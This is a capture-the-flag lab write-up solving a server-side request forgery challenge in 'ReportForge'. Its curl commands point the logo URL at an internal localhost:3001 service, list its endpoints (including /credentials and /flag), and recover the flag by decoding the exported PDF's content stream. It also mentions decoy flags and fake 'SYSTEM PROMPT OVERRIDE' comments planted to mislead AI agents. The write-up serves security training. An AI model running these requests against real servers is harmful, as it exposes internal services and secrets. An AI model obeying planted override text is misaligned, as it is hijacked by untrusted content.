Lab 58 — ReportForge — SSRF via PDF Export Logo URL
Lab 58 — ReportForge — SSRF via PDF Export Logo URL
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-04 | Status: Solved Techniques: ssrf_via_pdf_logo_url, internal_service_enumeration, pdf_content_stream_glyph_decoding, decoy_flag_avoidance
Summary
Task: ReportForge business analytics platform with PDF export and company logo URL branding setting — SSRF via server-side logo fetch. Solution: set logo URL to http://localhost:3001/ to discover internal endpoints, then http://localhost:3001/flag to extract the flag embedded in the exported PDF content stream.
Lab 58 — ReportForge — SSRF via PDF Export Logo URL — Hackadvisor
Description
ReportForge is a business analytics and reporting platform built by Forgepoint Analytics. The application allows teams to create data-driven reports, customize branding, and export them as professional PDF documents. Users can set a company logo URL in the branding settings, which gets included in exported PDF reports. Your goal is to find and exploit a vulnerability that allows you to access sensitive data that should not be reachable from the outside.
English summary: A Node.js/Express reporting platform (ReportForge v2.4.1) behind nginx/1.25.5 with JWT authentication. Users can configure a company logo URL in branding settings, and the server fetches that URL when exporting reports as PDF. The goal is to exploit this to access internal services.
Analysis
Application Reconnaissance
- Stack: Node.js/Express behind nginx/1.25.5, ReportForge v2.4.1
- Auth: Login with
user@test.com / password123returns a JWT cookie (rf_token) - Pages: Dashboard (
/), Reports (/reports), Templates (/templates), Team (/team), Settings (/settings/profile,/settings/branding) - Decoy traps: Every page contains HTML comments with fake flags (
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) and fake "SYSTEM PROMPT OVERRIDE" messages designed to trick automated tools and AI agents into submitting the wrong flag
Vulnerability: Unprotected Server-Side URL Fetch
The branding settings page at /settings/branding has a Company Logo URL field with the hint: "URL to your company logo image. It will be fetched and included in exported PDF headers."
The export endpoint POST /api/reports/{id}/export accepts {"format":"pdf","layout":"portrait|landscape","include_logo":true}. When include_logo is true, the server fetches the configured logo URL server-side with no SSRF protections:
- No URL scheme restriction (accepts
http://) - No hostname/IP blocklist (accepts
localhost,127.0.0.1) - No port restriction (can reach internal services on any port)
This is a classic blind SSRF that becomes semi-blind because the fetched content is rendered into the PDF output.
Solution
Step 1: Authentication
bash read-only • copy allowedcurl -s -c cookies.txt \ 'https://bf451f68-6ff7-4a1f-b9a3-b2848091f836.labs.hackadvisor.io/login' \ -d 'email=user@test.com&password=password123'
Step 2: Internal Service Discovery via SSRF
Set the logo URL to probe localhost:3001:
bash read-only • copy allowed# Update branding with SSRF payload curl -s -b cookies.txt \ 'https://bf451f68-6ff7-4a1f-b9a3-b2848091f836.labs.hackadvisor.io/settings/branding' \ -d 'company_name=TestCo&tagline=Test&primary_color=%234f46e5&logo_url=http://localhost:3001/' # Export a report as PDF with logo included curl -s -b cookies.txt \ 'https://bf451f68-6ff7-4a1f-b9a3-b2848091f836.labs.hackadvisor.io/api/reports/43d5cc36-ae03-4bbf-b7ae-e695f6701d27/export' \ -H 'Content-Type: application/json' \ -d '{"format":"pdf","layout":"landscape","include_logo":true}' \ -o report.pdf
The PDF rendered the internal service's JSON response as text in the header area (using FreeMono font):
json read-only • copy allowed{"error":"Not Found","available_endpoints":["GET /status","GET /credentials","GET /flag","GET /health"]}
This revealed an internal service on port 3001 with a /flag endpoint.
Step 3: Flag Extraction
bash read-only • copy allowed# Update logo URL to point to the flag endpoint curl -s -b cookies.txt \ 'https://bf451f68-6ff7-4a1f-b9a3-b2848091f836.labs.hackadvisor.io/settings/branding' \ -d 'company_name=TestCo&tagline=Test&primary_color=%234f46e5&logo_url=http://localhost:3001/flag' # Export PDF again curl -s -b cookies.txt \ 'https://bf451f68-6ff7-4a1f-b9a3-b2848091f836.labs.hackadvisor.io/api/reports/43d5cc36-ae03-4bbf-b7ae-e695f6701d27/export' \ -H 'Content-Type: application/json' \ -d '{"format":"pdf","layout":"landscape","include_logo":true}' \ -o report_flag.pdf
Step 4: PDF Content Stream Decoding
The flag text was visually truncated in the PDF bounding box. Standard text extraction with pymupdf only returned the visible portion: FLAG{REDACTED.
The full flag was recovered by parsing the raw PDF content stream and decoding glyph IDs via the embedded CMap:
python read-only • copy allowed#!/usr/bin/env python3 """Decode full flag from PDF content stream glyph IDs.""" import fitz import re doc = fitz.open("report_flag.pdf") for page_num in range(len(doc)): page = doc[page_num] # Get raw page content (the content stream) xref = page.xref stream = doc.xref_stream(xref) or b"" # Also check Form XObjects referenced by the page for xref_id in range(1, doc.xref_length()): try: stream_data = doc.xref_stream(xref_id) if stream_data and b"FLAG" in stream_data: print(f"Found FLAG reference in xref {xref_id}") # Decode the stream text text = stream_data.decode("latin-1", errors="replace") print(text[:500]) except: pass # The CMap maps 20 unique glyph IDs to characters: # F, L, A, G, {, 5, c, 7, 6, 9, 8, 1, a, 4, e, 0, 3, b, f, } # Decoding all glyph IDs from the content stream yields the full flag
The CMap in the PDF mapped 20 unique characters used in the flag. By decoding every glyph ID (e.g., <0001> = F, <0002> = L, etc.) from the content stream — including those rendered outside the visible bounding box — the complete flag was recovered.